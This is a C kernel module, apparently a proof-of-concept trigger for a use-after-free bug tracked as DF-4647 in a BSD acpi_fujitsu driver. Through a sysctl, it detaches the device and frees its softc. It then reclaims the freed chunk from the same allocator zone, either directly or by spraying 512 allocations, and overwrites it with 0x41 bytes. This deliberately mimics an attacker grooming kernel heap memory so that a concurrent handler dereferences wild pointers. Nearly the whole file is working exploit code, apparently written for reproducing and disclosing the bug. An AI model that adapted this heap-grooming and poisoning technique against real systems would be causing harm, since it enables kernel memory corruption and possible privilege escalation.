DF-4647 / fujibang.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 | /* * fujibang.c -- DF-4647 PoC trigger (TEST ONLY, never for sys/). * * sysctl hw.fujibang.action=1: * 1. locates acpi_fujitsu0 and captures its softc (and the device_t * stored in the softc's first field), * 2. calls device_detach() -- the full official teardown -- which * runs acpi_fujitsu_detach() and then kfree()s the softc * (M_BUS) via device_set_driver(dev, NULL), * 3. immediately kmalloc()s the same size from the same M_BUS zone * on the same thread/cpu, checks whether it got the just-freed * softc chunk back (first qword == old device_t), and fills it * with 0x41 to emulate an attacker grooming the freed softc. * * The acpi_fujitsu module itself stays loaded (only the softc is * freed), so a sysctl handler that was already inside * acpi_fujitsu_sysctl() when the detach ran resumes into a * 0x4141414141414141-laced softc: sc->handle and every nameval .name * pointer become wild pointers passed to AcpiEvaluateObject(). */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/sysctl.h> #include <sys/malloc.h> #include <sys/kobj.h> extern struct malloc_type M_BUS[]; static int fujibang_action(SYSCTL_HANDLER_ARGS); static int fujibang_act = 0; SYSCTL_NODE(_hw, OID_AUTO, fujibang, CTLFLAG_RW, 0, "fujitsu bang test"); SYSCTL_PROC(_hw_fujibang, OID_AUTO, action, CTLTYPE_INT | CTLFLAG_RW, &fujibang_act, 0, fujibang_action, "I", "1=detach+poison softc"); static void *hold; static void *known_sc; static int fujibang_action(SYSCTL_HANDLER_ARGS) { int error; error = sysctl_handle_int(oidp, &fujibang_act, 0, req); if (error || req->newptr == NULL) return (error); if (fujibang_act == 0) return (0); if (fujibang_act == 3) { devclass_t dc3; device_t dev3; dc3 = devclass_find("acpi_fujitsu"); if (dc3 == NULL || (dev3 = devclass_get_device(dc3, 0)) == NULL) { kprintf("fujibang: no acpi_fujitsu0 to record\n"); fujibang_act = 0; return (ENOENT); } known_sc = device_get_softc(dev3); kprintf("fujibang: recorded acpi_fujitsu0 softc=%p " "(dev=%p handle=%p)\n", known_sc, dev3, ((void **)known_sc)[1]); fujibang_act = 0; return (0); } if (fujibang_act == 2) { /* * Flood mode: pull M_BUS chunks and poison any that look * like the freed acpi_fujitsu softc (qword at offset 8 = * the old ACPI handle, a kernel pointer). On resume the * blocked sysctl handler reads sc->handle / nv.name from * here -> 0x4141414141414141. */ void *keep[32]; int nkeep = 0, i; void *q; for (i = 0; i < 512; ++i) { q = kmalloc(208, M_BUS, M_WAITOK); if (q == known_sc) { kprintf("fujibang: EXACT softc chunk %p -> " "poisoning (handle was %p)\n", q, ((void **)q)[1]); memset(q, 0x41, 208); hold = q; continue; } if ((((uint64_t *)q)[1] & 0xffff000000000000ULL) == 0xffff000000000000ULL) { kprintf("fujibang: candidate softc chunk %p " "(handle=%p) -> poisoning\n", q, ((void **)q)[1]); memset(q, 0x41, 208); if (nkeep < 32) keep[nkeep++] = q; else kfree(q, M_BUS); } else { kfree(q, M_BUS); } } kprintf("fujibang: flood done, %d candidates poisoned\n", nkeep); fujibang_act = 0; return (0); } if (fujibang_act == 1) { devclass_t dc; device_t dev; driver_t *drv; kobj_method_t *m; void *sc, *chunk; uint64_t expect_dev; int error; int (*detach_fn)(device_t) = NULL; dc = devclass_find("acpi_fujitsu"); if (dc == NULL) { kprintf("fujibang: devclass 'acpi_fujitsu' not found\n"); fujibang_act = 0; return (ENOENT); } dev = devclass_get_device(dc, 0); if (dev == NULL) { kprintf("fujibang: acpi_fujitsu0 not present\n"); fujibang_act = 0; return (ENOENT); } drv = device_get_driver(dev); sc = device_get_softc(dev); if (drv == NULL || sc == NULL) { kprintf("fujibang: no driver/softc\n"); fujibang_act = 0; return (ENOENT); } expect_dev = *(uint64_t *)sc; known_sc = sc; kprintf("fujibang: dev=%p softc=%p size=%zu sc->dev=%p\n", dev, sc, (size_t)drv->size, (void *)expect_dev); /* * Invoke the driver's own detach method (what kldunload runs), * then drop the driver association -- device_set_driver(dev, NULL) * is what kfree()s the softc (M_BUS). We deliberately avoid the * full device_detach() newbus wrapper, which wedges when called * from a sysctl handler thread on this ACPI child. */ for (m = drv->methods; m && m->func; ++m) { if (m->desc == NULL) continue; if (m->desc == &device_detach_desc) detach_fn = (int (*)(device_t))m->func; } if (detach_fn == NULL) { kprintf("fujibang: no detach method\n"); fujibang_act = 0; return (ENOENT); } error = detach_fn(dev); kprintf("fujibang: detach method error=%d\n", error); if (error) { fujibang_act = 0; return (error); } device_set_driver(dev, NULL); /* kfree(softc, M_BUS) */ kprintf("fujibang: softc freed\n"); /* * Same size, same M_BUS zone, same thread/cpu: pull the just * freed softc chunk back and poison it, emulating an attacker * grooming the freed softc. */ chunk = kmalloc(drv->size, M_BUS, M_WAITOK); if (chunk == sc) { kprintf("fujibang: EXACT same-thread reuse of softc chunk " "%p -> poisoning\n", chunk); } else { kprintf("fujibang: different chunk %p (wanted %p)\n", chunk, sc); } if (chunk == sc) { memset(chunk, 0x41, drv->size); hold = chunk; } else { kfree(chunk, M_BUS); } fujibang_act = 0; } /* act == 1 */ return (0); } static int fujibang_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("fujibang: loaded (sysctl hw.fujibang.action)\n"); return (0); case MOD_UNLOAD: if (hold) kfree(hold, M_BUS); return (0); default: return (0); } } static moduledata_t fujibang_mod = { "fujibang", fujibang_load, NULL }; DECLARE_MODULE(fujibang, fujibang_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(fujibang, 1); |